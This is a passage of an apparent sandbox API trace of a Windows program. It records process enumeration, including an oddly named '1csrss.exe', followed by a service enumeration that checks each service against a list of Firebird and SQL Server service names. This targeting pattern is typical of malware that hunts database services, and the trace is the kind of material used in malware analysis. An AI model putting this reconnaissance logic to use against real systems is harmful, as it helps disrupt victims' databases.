th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0307.425] lstrlenW (lpString="audiodg.exe") returned 11 [0307.425] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0307.426] lstrlenW (lpString="sihost.exe") returned 10 [0307.426] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.426] lstrlenW (lpString="svchost.exe") returned 11 [0307.426] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0307.430] lstrlenW (lpString="taskhostw.exe") returned 13 [0307.430] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0307.430] lstrlenW (lpString="explorer.exe") returned 12 [0307.430] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0307.431] lstrlenW (lpString="SearchUI.exe") returned 12 [0307.431] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0307.432] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0307.432] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0307.433] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0307.433] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0307.433] lstrlenW (lpString="1csrss.exe") returned 10 [0307.433] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.434] lstrlenW (lpString="svchost.exe") returned 11 [0307.434] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0307.435] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0307.435] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.436] lstrlenW (lpString="svchost.exe") returned 11 [0307.436] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0307.437] lstrlenW (lpString="consent.exe") returned 11 [0307.437] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0307.437] lstrlenW (lpString="dllhost.exe") returned 11 [0307.437] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0307.438] CloseHandle (hObject=0x4f4) returned 1 [0307.438] Sleep (dwMilliseconds=0x1f4) [0308.002] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0308.002] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0308.003] GetLastError () returned 0xea [0308.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0308.003] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0308.004] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0308.004] lstrlenW (lpString="Appinfo") returned 7 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0308.004] lstrlenW (lpString="AppXSvc") returned 7 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0308.004] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0308.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0308.004] lstrlenW (lpString="Audiosrv") returned 8 [0308.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0308.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0308.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0308.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0308.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0308.005] lstrlenW (lpString="BFE") returned 3 [0308.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0308.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0308.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0308.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0308.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0308.005] lstrlenW (lpString="BITS") returned 4 [0308.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0308.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0308.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0308.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0308.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0308.005] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0308.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0308.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0308.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0308.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0308.005] lstrlenW (lpString="CDPSvc") returned 6 [0308.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0308.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0308.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0308.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0308.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0308.005] lstrlenW (lpString="ClickToRunSvc") returned 13 [0308.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0308.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0308.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0308.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0308.006] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0308.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0308.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0308.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0308.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0308.006] lstrlenW (lpString="CryptSvc") returned 8 [0308.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0308.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0308.006] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0308.006] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0308.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0308.006] lstrlenW (lpString="DcomLaunch") returned 10 [0308.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0308.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0308.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0308.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0308.006] lstrlenW (lpString="DeviceAssociationService") returned 24 [0308.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0308.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0308.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0308.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0308.006] lstrlenW (lpString="Dhcp") returned 4 [0308.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0308.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0308.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0308.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0308.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0308.007] lstrlenW (lpString="Dnscache") returned 8 [0308.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0308.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0308.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0308.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0308.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0308.007] lstrlenW (lpString="DoSvc") returned 5 [0308.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0308.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0308.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0308.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0308.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0308.007] lstrlenW (lpString="DPS") returned 3 [0308.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0308.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0308.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0308.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0308.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0308.007] lstrlenW (lpString="DusmSvc") returned 7 [0308.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0308.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0308.007] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0308.007] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0308.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0308.007] lstrlenW (lpString="EventLog") returned 8 [0308.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0308.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0308.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0308.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0308.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0308.008] lstrlenW (lpString="EventSystem") returned 11 [0308.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0308.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0308.008] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0308.008] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0308.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0308.008] lstrlenW (lpString="FontCache") returned 9 [0308.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0308.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0308.008] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0308.008] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0308.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0308.008] lstrlenW (lpString="gpsvc") returned 5 [0308.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0308.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0308.008] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0308.008] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0308.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0308.008] lstrlenW (lpString="iphlpsvc") returned 8 [0308.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0308.008] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0308.009] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0308.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0308.009] lstrlenW (lpString="KeyIso") returned 6 [0308.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0308.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0308.009] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0308.009] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0308.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0308.009] lstrlenW (lpString="LanmanServer") returned 12 [0308.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0308.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0308.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0308.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0308.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0308.009] lstrlenW (lpString="LanmanWorkstation") returned 17 [0308.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0308.010] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0308.010] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0308.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0308.010] lstrlenW (lpString="lfsvc") returned 5 [0308.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0308.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0308.010] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0308.010] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0308.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0308.010] lstrlenW (lpString="lmhosts") returned 7 [0308.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0308.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0308.010] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0308.010] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0308.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0308.010] lstrlenW (lpString="LSM") returned 3 [0308.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0308.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0308.010] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0308.017] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0308.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0308.017] lstrlenW (lpString="MapsBroker") returned 10 [0308.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0308.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0308.017] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0308.017] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0308.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0308.017] lstrlenW (lpString="MpsSvc") returned 6 [0308.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0308.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0308.018] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0308.018] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0308.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0308.018] lstrlenW (lpString="NcbService") returned 10 [0308.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0308.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0308.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0308.018] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0308.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0308.018] lstrlenW (lpString="netprofm") returned 8 [0308.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0308.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0308.018] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0308.018] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0308.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0308.018] lstrlenW (lpString="NgcSvc") returned 6 [0308.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0308.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0308.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0308.018] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0308.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0308.018] lstrlenW (lpString="NlaSvc") returned 6 [0308.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0308.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0308.018] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0308.019] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0308.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0308.019] lstrlenW (lpString="nsi") returned 3 [0308.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0308.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0308.019] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0308.019] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0308.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0308.019] lstrlenW (lpString="PcaSvc") returned 6 [0308.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0308.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0308.019] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0308.019] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0308.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0308.019] lstrlenW (lpString="PlugPlay") returned 8 [0308.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0308.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0308.019] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0308.019] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0308.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0308.019] lstrlenW (lpString="Power") returned 5 [0308.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0308.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0308.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0308.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0308.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0308.019] lstrlenW (lpString="ProfSvc") returned 7 [0308.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0308.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0308.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0308.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0308.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0308.020] lstrlenW (lpString="RpcEptMapper") returned 12 [0308.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0308.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0308.020] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0308.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0308.020] lstrlenW (lpString="RpcSs") returned 5 [0308.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0308.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0308.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0308.020] lstrcmpiW 